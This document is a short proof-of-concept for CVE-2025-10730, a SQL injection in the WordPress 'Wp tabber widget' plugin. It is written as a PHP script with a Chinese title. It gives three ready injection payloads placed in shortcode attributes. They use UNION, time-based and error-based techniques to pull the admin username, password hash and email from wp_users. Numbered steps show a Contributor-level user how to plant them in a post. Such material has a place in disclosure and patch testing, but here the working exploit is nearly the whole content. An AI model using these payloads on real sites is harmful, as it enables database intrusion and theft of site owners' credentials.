CVE-2025-10730 WordPress Wp tabber widget插件SQL注入漏洞

<?php /** * CVE-2025-10730 - WordPress Wp tabber widget SQL Injection PoC * Vulnerability: SQL Injection via 'wp-tabber-widget' shortcode * Affected: All versions up to and including 4.0 * Required: Contributor-level access or above */ // PoC: Malicious shortcode to be inserted into a WordPress post/page content // The vulnerable parameter is passed via shortcode attributes and concatenated // directly into SQL query without proper escaping or prepared statements. // Example 1: UNION-based SQL Injection to extract admin password hash $malicious_shortcode_1 = '[wp-tabber-widget id="1 UNION SELECT user_login, user_pass, user_email FROM wp_users WHERE ID=1-- "]'; // Example 2: Time-based blind SQL Injection $malicious_shortcode_2 = '[wp-tabber-widget id="1 AND (SELECT SLEEP(5))-- "]'; // Example 3: Error-based SQL Injection $malicious_shortcode_3 = '[wp-tabber-widget id="1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1)))-- "]'; // Exploitation Steps: // 1. Login as Contributor or higher level user // 2. Create a new Post or Page // 3. Insert one of the above malicious shortcodes into the content // 4. Submit for review or publish the post // 5. When the post is viewed, the injected SQL query executes // 6. Extract sensitive data from the database echo "Insert the following shortcode into a WordPress post:\n"; echo $malicious_shortcode_1 . "\n\n"; echo $malicious_shortcode_2 . "\n\n"; echo $malicious_shortcode_3 . "\n"; ?>